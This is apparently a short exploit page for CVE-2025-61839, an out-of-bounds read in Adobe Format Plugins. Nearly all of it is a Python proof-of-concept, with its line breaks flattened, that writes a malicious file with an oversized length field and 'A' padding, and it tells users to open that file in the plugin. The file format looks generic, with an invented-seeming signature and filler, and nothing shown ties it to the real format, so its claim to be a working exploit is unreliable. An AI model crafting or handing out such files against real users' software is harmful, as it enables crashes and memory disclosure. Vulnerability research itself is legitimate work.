CVE-2025-61839 Adobe Format Plugins越界读取漏洞

import struct import os def create_malicious_file(filename): """ PoC for CVE-2025-61839 - Adobe Format Plugins Out-of-Bounds Read This creates a crafted file that triggers an out-of-bounds read vulnerability when parsed by Format Plugins versions <= 1.1.1 """ # Craft a malicious file header with oversized data length field header = b'FMTP' # Format Plugin signature header += struct.pack('<I', 0xFFFFFFFF) # Malicious oversized length field header += b'\x00' * 100 # Padding to trigger OOB read # Add malicious data that extends beyond buffer boundaries malicious_data = b'A' * 1000 # Data that will be read out of bounds with open(filename, 'wb') as f: f.write(header + malicious_data) print(f"[+] Created malicious file: {filename}") print(f"[+] File size: {os.path.getsize(filename)} bytes") if __name__ == '__main__': create_malicious_file('CVE-2025-61839.malicious') print("[+] PoC file created. Users must open this file with Adobe Format Plugins to trigger the vulnerability.")